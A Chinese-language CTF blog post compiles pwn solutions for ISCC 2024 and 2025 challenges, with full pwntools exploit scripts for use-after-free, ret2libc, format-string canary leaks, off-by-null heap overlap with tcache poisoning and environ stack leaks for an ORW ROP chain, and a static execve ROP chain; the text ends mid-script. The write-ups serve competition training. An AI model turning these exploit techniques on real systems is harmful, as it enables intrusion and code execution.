ISCC24-25_pwn
Zach0ry Lv4

马上要打ISCC的比赛了,这里把ISCC的题目做了一个整理

并对24和25年的题目和类型进行了一个整理

2024

image

chaos

直接uaf漏洞写flag就好

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import sys
from LibcSearcher import *

file_path = "./chaos"
remote_host = "127.0.0.1"
remote_port = 1111
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def exploit():
sla(b"Please Choice:",str(5))
sla(b"Please Input Chunk size :",str(0x68))
sla(b"Please Input Content :",b"Flag")


p.interactive()

count = 0
while True:
count += 1
try:
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

print(f"[*] 第 {count} 次尝试爆破...")
exploit()
print(f"[+] 爆破成功,共尝试了 {count} 次!")
break
except Exception as e:
print(f"[-] Wrong: {e}")
try:
p.close()
except:
pass

Your_program

gets函数溢出,ret2libc3

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import sys
from LibcSearcher import *

file_path = "./attachment-42"
remote_host = "127.0.0.1"
remote_port = 1111
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def exploit():


printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
rdi = 0x401763
ret = 0x40101a

p.sendlineafter('key: ', b'A' * 0x28 + p64(rdi) + p64(printf_got) + p64(ret) + p64(printf_plt) + p64(0x4014DA))
p.recvuntil('\n')

libcbase = u64(p.recv(6).ljust(8, b'\0')) - libc.sym['printf']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()

p.sendlineafter('key: ', b'A' * 0x28 + p64(rdi) + p64(bin_sh) + p64(ret) + p64(sys))

p.interactive()

count = 0
while True:
count += 1
try:
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

print(f"[*] 第 {count} 次尝试爆破...")
exploit()
print(f"[+] 爆破成功,共尝试了 {count} 次!")
break
except Exception as e:
print(f"[-] Wrong: {e}")
try:
p.close()
except:
pass

easyshell

根据实际情况去设计走向

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import sys
from LibcSearcher import *
file_path = "./easyshell"
remote_host = "127.0.0.1"
remote_port = 1111
context(arch='amd64', os='linux', log_level='debug')
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))





sla(b'>>', b'flagis %15$p,%16$p,%17$p,')


canary = int(p.recvuntil(b',', drop=True),16)
rbp = int(p.recvuntil(b',', drop=True),16)
elf = int(p.recvuntil(b',', drop=True),16)

sla(b'>>', b'exit'.ljust(56,b'\x00') + flat(canary,elf-0x1520+0x1421,elf-0x1520+0x128e))





















p.interactive()

















# def exploit():



# p.interactive()

# count = 0
# while True:
# count += 1
# try:
# if 're' in sys.argv:
# p = remote(remote_host, remote_port)
# else:
# p = process(file_path)

# print(f"[*] 第 {count} 次尝试爆破...")
# exploit()
# print(f"[+] 爆破成功,共尝试了 {count} 次!")
# break
# except Exception as e:
# print(f"[-] Wrong: {e}")
# try:
# p.close()
# except:
# pass

environ:star2:

堆题没有直接栈泄露,用 environ 间接拿栈地址

在 Linux 系统里,environ 是一个全局变量,定义在 libc 中。它的身份是环境变量的“总管”

  • 物理位置:它本身存储在 libc 的数据段
  • 存储内容:它里面存的是一个栈地址。这个地址指向栈上存储“环境变量字符串指针”的区域。
  • 诞生时刻:因为程序运行期间,可能需要查看环境变量,所以操作系统在程序启动时,就把环境变量在栈上的起始坐标存到了 environ 这个“快捷方式”里

PATH

1
>PATH=/usr/local/bin:/usr/bin:/bin

作用:命令搜索路径

你在终端直接输 lscatpython 不用写全路径,靠的就是 PATH

系统会从 PATH 里的目录挨个找这个程序在哪,找到就执行。每个冒号是一个文件夹

HOME

1
>HOME=/home/user

作用:当前用户的家目录

  • cd 不加参数,直接回到 HOME
  • 程序存配置、缓存、文件,默认都往 $HOME 下放

USER

1
>USER=root

作用:当前登录用户名

很多程序用来判断权限、区分用户身份、日志记录。

SHELL

1
>SHELL=/bin/bash

作用:默认命令行解释器

敲命令、管道、脚本交互,都是靠 /bin/bash 这个程序解析执行。

环境变量(栈底,地址最高)字符串

1
2
3
4
PATH=/usr/local/bin:/usr/bin:/bin
HOME=/home/user
USER=root
SHELL=/bin/bash

开启 ASLR 后:

  • libc 基址随机
  • 栈基址随机
  • 堆基址随机

堆题最大痛点:很难直接泄露栈地址

于是 environ 成了桥梁

  1. 先泄露出一个 libc 地址(如 puts@got、printf@got)
  2. 算出 libc_base
  3. libc_base + offset 算出 &environ
  4. 读取 *environ → 拿到栈地址
  5. 知道栈地址后,就能精确定位返回地址、ebp,打 ROP

一句话:

environ = 从 libc 通向栈的钥匙

bt查看调用的栈帧

image

easy _heap

2.35的libc+沙盒+of by null+orw

image

edit中有一个of by null

image

禁了execve

syscall 没了,hook也取消了,打orw

堆题中要打栈就要用到environ,所以就要泄露libc地址

注意保护

2.29引入key开始校验double free

2.32之后会把fd处改成(fd_addr>>12)^tar的结果,然后bk改为key,防止double free

2.34彻底删除 __free_hook__malloc_hook (2.34+)

1.泄露heap_base

2.32+ 的 Tcache堆块被释放后,fd 存放 混淆指针, bk的位置存放 Key(标志位,用于检测 Double Free)。

image

下面的chunk是完全混淆过的(addr1>>12)^tar1,上面的fd只是addr0>>12,因为这个块是链表最后一个,它指向 NULL (0),而且因为右移12.它的低位舍弃了,>>12之后的结果是一样的,所以可以通过真实的地址拿到

程序在取出的时候一般只会把key清零,但是由于下面的这个,会把我们的fd的一个位置清零

1
2
result = (read(0, *(&chunk_list + index), size_list[index]) - 1LL + *(&chunk_list + index));
*result = 0;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#heap_base泄露
add(0xF8, b'A')
add(0xF8, b'A')
delete(0)
delete(1)
add(0xF8, b'A')#0
add(0xF8, b'A')#1
show(0)
one1 = u64(io.recv(8))
show(1)
one2 = u64(io.recv(8))
success(f'one1, one2 =>> {hex(one1)} + {hex(one2)}')
heap = one1 ^ one2 + 0x90
success(f'heap =>> {hex(heap)}')

image

2.of by null 泄露libc

ublink要进入unsorted bin或small bin

image

backward consolidate

① 找到前一个 chunk

1
2
>prev_chunk = chunk - prev_size;
>prev_chunk = current - 0x1f0

② 判断 prev_chunk 是否 inuse

1
>prev_chunk->inuse == 0

③ 如果 prev_chunk 是 fake chunk(你构造的)

1
2
>进入unlink(prev_chunk)
>P->fd->bk == P

在 GLIBC 2.23 (及更早) 中:

当时的 Off-by-null(尤其是经典的 checkpoint 利用)利用的是 sizeprev_size 的级联效果。如果目标是触发合并,只要满足:

  1. prev_size 伪造正确。
  2. P bit 位被清掉。
  3. 主要条件:只要能进入 unlink 逻辑,早期的检查相对宽松。如果仅仅是想让两个堆块合并,不一定要伪造一个完整的空闲块。

在 GLIBC 2.35 (以及 2.29 之后) 中:

为了彻底防御这种合并攻击,官方引入了 “Unlink Chunk Size Check”

  • 强制校验:当系统准备合并 prev_chunk 时,它会检查: chunksize(prev_chunk) == prev_size(current_chunk)

  • 这意味着:你不仅要改掉当前块的 prev_size,你还必须在“你指向的那个伪造位置”真的写下一个符合大小的 size 字段。

  • 双向链表校验:现在的 unlink 必然会执行:

1
2
if (__builtin_expect (p->fd->bk != p || p->bk->fd != p, 0))
malloc_printerr ("unlink(): corrupted double-linked list");

如果你在 2.35 下做 Off-by-null,如果你只是简单地减小了 prev_size 却没在对应位置构造好 fdbk 指针,程序会直接 Crash。

在 GLIBC 的设计中,堆块(Chunk)在空闲状态下会根据大小和状态进入不同的“容器”(Bin):

  • Tcache 和 Fastbin(单向链表)
  • 为了极致的性能,它们只使用一个 next 指针(即 Chunk 结构体中的 fd 位置)。
  • Safe Linking 只保护这里。当你把一个块放入 Tcache 时,系统会执行 P->fd = (Addr >> 12) ^ Addr
  • Unsorted/Small/Large Bin(双向链表)
  • 当你描述的“向后合并”发生时,涉及到的通常是 SmallbinUnsorted Bin 中的块。
  • 这些 Bin 永远不加密。它们的 fdbk 存的就是实打实的 64 位原始内存地址。

3.environ附近找ret

image

Bin 类型 链表结构 存储逻辑 指针加密 合并机制
Tcache 单向 LIFO (后进先出)
Fastbin 单向 LIFO (后进先出) 无 (直到触发 Consolidate)
Unsorted 双向 插入头部 (FIFO 遍历) 有 (向前/向后)
Small Bin 双向 FIFO (先进先出)
Large Bin 双向 排序插入

为什么要free两次

tcache(LIFO)

先delete5然后4

Head ->5 -> NULL

Head -> Chunk 4 -> Chunk 5 -> NULL

  1. 第一次 malloc
  • 当你调用 add(size, ...) 时,libc 从 Head 取出 Chunk_B
  • 关键动作:libc 会将 counts2 减为 1,并将 Head 指向 Chunk_B->next(即你的 Target)。
  1. 第二次 malloc
  • 当你再次调用 add(size, ...) 时,libc 检查 counts。因为此时 counts1(大于 0),检查通过。
  • 关键动作:libc 从 Head 取出 Target 并返回给你。同时 counts1 减为 0

如果你只释放了一个块(counts 为 1): 在第一次 malloc 后,counts 会直接变成 0。即使你修改了 next 指针指向了 Target,当你尝试第二次 malloc 申请 Target 时,libc 会发现该 Bin 的计数器为 0,从而拒绝分配,攻击就会失败。

image

4.add_ret处写rop链

再次执行放rop链

environ中存储的返回地址是0x8结尾的,为了16字节对齐,需要malloc到ret-8处

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
import sys


file_path = "./CAT_DE"
remote_host = "182.92.237.102"
remote_port = 2122
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

elf = ELF(file_path)
libc = ELF('./libc.so.6')


def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(size, content):
sla('>> \n', '1')
sla('size:\n', str(size))
sa('content:\n', content)

def delete(index):
sla('>> \n', '2')
sla('idx:\n', str(index))

def show(index):
sla('>> \n', '3')
sla('idx:\n', str(index))
ru('context:\n')

def edit(index, content):
sla('>> \n', '4')
sla('idx:\n', str(index))
sa('content:\n', content)

#heap_base泄露
add(0xF8, b'A')
add(0xF8, b'A')
delete(0)
delete(1)
# dbg()
add(0xF8, b'A')#0
add(0xF8, b'A')#1
show(0)
one1 = u64(p.recv(8))
show(1)
one2 = u64(p.recv(8))
success(f'one1, one2 =>> {hex(one1)} + {hex(one2)}')
heap = one1 ^ one2 + 0x90
success(f'heap =>> {hex(heap)}')
# dbg()




#of by null堆块重叠泄露libc
add(0xF8, b'A')#2
add(0xF8, b'A')#3

for i in range(7):
add(0xF8, b'A')

for i in range(7):
delete(i + 4)

edit(0, p64(0) + p64(0x101 + 0xF0) + p64(heap) + p64(heap))
edit(1, p64(heap + 0x110) + p64(heap + 0x110))
edit(2, b'A' * 0xF0 + p64(0x1F0))
# dbg()
delete(3)
add(0xE8, b'A')#3
show(2)
libc_base =uu64()-0x219ce0
print(hex(libc_base))
libc.address = libc_base
environ =libc.sym['environ']
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497






#拿environ中的环境变量地址
add(0x150, b'A') #4(2)
add(0x150, b'A')#5
delete(5)#要free两次把count改成2
delete(4)
edit(2, p64(((heap + 0x200) >> 12) ^ (environ - 0x10)))
add(0x150, b'A')#4
add(0x150, b'A')#5 tar
show(5)
stack = uu64()-0x140
success(f'stack =>> {hex(stack)}')
# dbg()




#再次覆盖unsorted bin去
add(0x150, b'A')#6
delete(6)
delete(4)
edit(2, p64(((heap + 0x200) >> 12) ^ (stack - 0x8)))#16字节对齐
add(0x150, b'A')

#open("flag", 0)
pay=p64(0) + p64(rdi) + p64(stack + 0xa8)+p64(rsi) + p64(0) + p64(libc.sym['open'])
#read(3, heap_addr, 0x50)
pay+=p64(rdi) + p64(3)+p64(rsi) + p64(heap + 0x10)+p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['read'])
#write(1, heap_addr, 0x50)
pay+=p64(rdi) + p64(1) + p64(rsi) + p64(heap + 0x10) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['write'])
pay+=b'flag\x00\x00\x00\x00'
print(hex(len(pay)))
pause()#0xb8
add(0x150,pay)

p.interactive()

ISCC_easy

格式化字符串泄露libc以及数据填补+ret2libc

image

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
import sys
from LibcSearcher import *

file_path = "./ISCC_easy"
remote_host = "127.0.0.1"
remote_port = 1111
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

# gdb.attach(p, """
# b printf
# c
# """, api=True)

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))



tar=0x0804C030
sla(b"Let's have fun!",b'aaaaa%8$hhn%15$p' + p32(tar))
ru(b"0x")
libc_base=int(p.recv(8),16)-0x1aed5
# libc=uu32()
print(hex(libc_base))
ret=0x080492E7
system,binsh=bin_sys(libc_base)
sla(b"Input:",b"a"*0x94+p32(system)+p32(ret)+p32(binsh))






















p.interactive()















# def exploit():
# p.interactive()

# count = 0
# while True:
# count += 1
# try:
# if 're' in sys.argv:
# p = remote(remote_host, remote_port)
# else:
# p = process(file_path)
#
# print(f"[*] 第 {count} 次尝试爆破...")
# exploit()
# print(f"[+] 爆破成功,共尝试了 {count} 次!")
# break
# except Exception as e:
# print(f"[-] Wrong: {e}")
# try:
# p.close()
# except:
# pass

ISCC_U

有管理堆块和uaf漏洞

直接改和管理堆块中记录的show函数执行的函数

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

filename = './attachment-39'
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]
debug = 0
if debug :
io = remote('182.92.237.102', 10016)
else:
io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

libc = elf.libc

def dbg():
gdb.attach(io)
pause()

def add(size, content):
io.sendlineafter('choice :', '1')
io.sendlineafter('Note size :', str(size))
io.sendafter('Content :', content)

def delete(index):
io.sendlineafter('choice :', '2')
io.sendlineafter('Index :', str(index))

def show(index):
io.sendlineafter('choice :', '3')
io.sendlineafter('Index :', str(index))

puts_got = elf.got['puts']

add(0x16, 'A')
add(0x16, 'A')
delete(0)
delete(1)
add(0x8, p32(0x80492b6) + p32(puts_got))
show(0)
puts_addr = u32(io.recv(4))
success('puts_addr =>> ' + hex(puts_addr))
libc_base = puts_addr-0x6dc40
print(hex(libc_base))

sys = libc_base + libc.sym['system']
success('sys =>> ' + hex(sys))

delete(2)

add(0x8, p32(sys) + b'||sh')

show(0)

io.interactive()

miao

静态编译

one_gadget找就好

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from struct import pack

# Padding goes here
p = b''

#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0)

p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8666) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0)

p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8666) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0)

p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049573) # xor eax, eax ; ret
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080def3d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x080ea060)

p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049573) # xor eax, eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0806cf83) # int 0x80

io = process('./miao')
# io = remote('182.92.237.102', 10015)
context(arch='i386', log_level='debug')

#gdb.attach(io, "b*0x80489cf\nc")
#get canary
io.sendlineafter(b"Would you like to say something to it?\n", b'%31$x')
canary = int(io.recv(8), 16)


io.sendlineafter(b" ( ^.^ ) \n", b'A'*100 + flat(canary,0,0,0) + p)

io.interactive()

内存分配:star2:

基础知识:内存分配的两大工具

在 Linux 中,内核给进程分配内存只有两个底层系统调用:brkmmap

A. brk (The Growing Hill)

  • 原理:它通过移动一个叫 program break 的指针来增加内存。

当你调用 malloc(10) 申请 10 个字节时,malloc 嫌每次都找内核要太麻烦(系统调用开销大),它会直接调用 brkprogram break 指针向上移动一大截(比如一次性推高 132 KB)。

然后,malloc 把这 10 个字节给你,剩下的空间它自己偷偷留着(这被称为 Top Chunk)。

  • 特点:只能从低向高连续增长
  • 归属主线程(Main Thread)默认使用 brk 来管理它那个被称为 [heap] 的区域。

因为 brk 指针是进程全局唯一的。如果多个线程同时通过 brk 扩地,会导致严重的竞争和性能锁死。

主线程拥有特权,独占 [heap] 区域。它从低地址向高地址生长,逻辑简单直接。

B. mmap (The Floating Island)

  • 原理:在进程的虚拟内存空间里(通常在栈和堆之间的“大空洞”中)直接划出一块区域。

  • 特点从高往低,内核会从这块空洞的“顶端”(靠近栈底的位置)开始往“低地址”方向找。,可以是不连续的“孤岛”

    当子线程需要内存时,glibc 会说:“别去挤主线程那块地,我用 mmap 给你单独开辟一块地。”

    • 初始化:子线程第一次 malloc 时,glibc 调用 mmap 分配一个巨大的内存块(在 64 位系统上通常是 64MB)。
    • 布局:这64MB的**最开头(低地址处)**不是堆块,而是 malloc_state 结构体(即 Arena 结构体)。它记录了这个 Arena 所有的信息(比如 fastbinstop chunk 的位置等)。
  • 归属:大内存申请(默认超过 $128KB$)或者子线程的堆(Thread Arena)。

mmap子线程利用

第一阶段:旧领地饱和

假设在子线程中不断的用0x4000去消耗arena

原来的 64MB空间被这些0x4000的块填满了。此时,这块区域最后的 top chunk 已经小到不足以分配下一个 0x4000 的请求。

mmap的地址特征

这个区域的起始地址通常是 0x...000000 结尾的对齐地址。

子线程的“指挥部” thread_arena (malloc_state 结构体) 就位于这个区域的起始位置

第二阶段:内核的分配策略(重点!)

glibc 发现没地了,再次请求内核:“再给我 mmap 一块地!”

在 Linux 的虚拟内存布局中,mmap 区域通常是从高地址向低地址方向去寻找空闲空洞的。

奇迹发生了:这两块地在内存中竟然是首尾相连的。

  1. 致命的“贴脸”分配

    当旧的堆区(Region B)爆满后,glibc 申请了 Region A

    精准定位**:堆管理器在新领土(区域 A)里进行分配。**为了节省空间,它通常会从这块新地的末尾开始利用。看到的 Region A 大小是 0x7be3000,但这只是内核划出的最大上限。

    具体从哪里开始要通过调试去看

shopping

进入之后先add

image

默认分配64MB,所以选择这个大小,未分配的剩余地址不够0x4000,将要开辟新的空间

image

它节省空间会从A Region的下部开始是用,gdb调试看还相差多少到B

image

还有0x3f0000没用,

image

image

算出来应该是262个

每次输入不超过size,输入字符总数会在下一轮进行校验,超过size就停止

image

glibc 中,每个子线程的 anon 映射区(Region)开头都有一个 struct heap_info。它的结构定义如下:

1
2
3
4
5
6
7
>typedef struct _heap_info {
>mna_arena *ar_ptr; /* 偏移 0x00: 指向关联的 malloc_state */
>struct _heap_info *prev; /* 偏移 0x08: 指向前一个 heap_info */
>size_t size; /* 偏移 0x10: 当前 region 的总大小 */
>size_t mprotect_size; /* 偏移 0x18: 记录有多少内存是已经 rwx 可读写的。 */
>/* 后面紧跟的是对齐字节和 malloc_state */
>} heap_info;

为什么可以直接aaaa覆盖

执行 即 malloc时,glibc 不读取 heap_info。它只知道 malloc_state (Arena) 在哪。

每个线程都有一个私有的内存区域,叫做 TLS,当一个子线程被创建并第一次调用 malloc 时,glibc 会为它分配一个 Arena。一旦分配完成,glibc 就会把这个 Arena 的地址存放在该线程的 TLS 中。

每次你调用 malloc,代码第一步不是去翻堆内存,而是去 fs 段寄存器(在 Linux x64 中,fs 指向当前线程的 TLS 头部)里读出这个地址。

内存“只读不防”:内核只管这一块内存是 rw-(可读写),它不关心你写的是合法的指针还是 'aaaa'

之后用这个函数,它的第一个参数是堆地址

image

image

改chunk让它malloc过去

把堆地址处放/bin/sh,并且把psub_400AF8函数改为system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]
def dbg():
gdb.attach(io)
pause()
filename = './shopping'

io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
gdb.attach(io)
pause()

libc =elf.libc

def add(size, count, content = ''):
io.sendlineafter('Action: ', '1')
io.sendlineafter('Item ID: ', str(size))
io.sendlineafter('Quantity: ', str(count))
if (content == ''):
io.sendlineafter('Add gift message? (0/1): ', '0')
else:
io.sendlineafter('Add gift message? (0/1): ', '1')
io.sendafter('Message: ', content)

system_plt = elf.plt['system']

io.sendlineafter('Enter the password: ', 'I\'m ready for shopping')
sleep(3)

for i in range(12):
add(0x4000, 1000)
# dbg()
add(0x4000, 262, b'a' * 0x3ff0)
q = 0x3f0000 // 0x4010
r = 0x3f0000 % 0x4010
print("商:", q) # 结果是 0x40 (十进制 64)
print("余数:", hex(r))
# dbg()
io.send(b'a' * 0x50 + p32(0) + p32(2) +10*p64(0x60201d))
# dbg()
add(0x60, 0, (b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)).ljust(0x60, b'\x00'))

io.interactive()

2025

image

栈迁移:star:

栈迁移(Stack Pivoting) 主要解决栈溢出空间不足的问题。它通过劫持栈指针(ESP/RSP),将程序执行流从原始受限栈区,转移到攻击者可控的大片可写内存(如 BSS 段、堆),从而自由构造 ROP 链。

image

一、核心原理:leave; ret 指令

栈迁移的关键是利用函数尾声的 leave; ret 指令组合。其汇编行为如下:

1. leave 指令

等价于两条指令:

1
2
mov rsp, rbp   ; 将栈顶指针ESP指向栈底指针EBP的位置
pop rbp ; 从栈中弹出旧的EBP值,恢复上一层栈帧

栈是向下增长的,pop之后 rsp+8(就是原来的rbp+8)

如果把rbp 改成了 bss + 0x30,那么执行完 leave 后,rsp 就精准地指向了 bss + 0x38

2. ret 指令

1
pop rip        ; 从栈顶弹出数据,赋值给指令指针EIP,实现跳转

eg:

1
2
3
4
5
6
#执行 leave
mov esp, ebp:#ESP 指向被覆盖的新 EBP(bss_addr - 4)
pop ebp: #ESP = [bss_addr - 4](此值可忽略)

#执行 ret
pop eip: #EIP = [bss_addr]

read函数的栈迁移

image

1
2
3
4
5
6
#buf = byte ptr -50h
lea rax, [rbp+buf] ;rax=rbp+buf
mov edx, 60h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
指令 行为 例子
mov 取内存里的值 mov eax, [ebx+4] → 把地址 ebx+4 里存储的数据放进 eax
lea 计算地址本身 lea eax, [ebx+4] → 把 ebx+4 这个地址数值放进 eax

Dilemma

格式化字符串漏洞+沙盒+栈迁移

image

有canary

泄露libc和canary

image

栈迁移

不知道flag.txt字符串的位置,所以通过把我们的rop链放在已知的位置上去

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import * 
context(log_level='debug', arch='amd64', os='linux')
p = process('./attachment-42')
elf = ELF('./attachment-42')
libc = elf.libc

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_init = 0x40119a # 初始 gadget
ret = 0x40101a

p.recvuntil(b'where are you go?')
p.sendline(b'1')
p.recvuntil(b'Enter you password:')
payload = b'%11$paaaa%19$p'
p.sendline(payload)
p.recvline()

canary = int(p.recv(18), 16)
print(f"Canary: {hex(canary)}")

p.recvuntil(b'aaaa')
leak = int(p.recv(14), 16)
libc_base = leak - 0x29d90
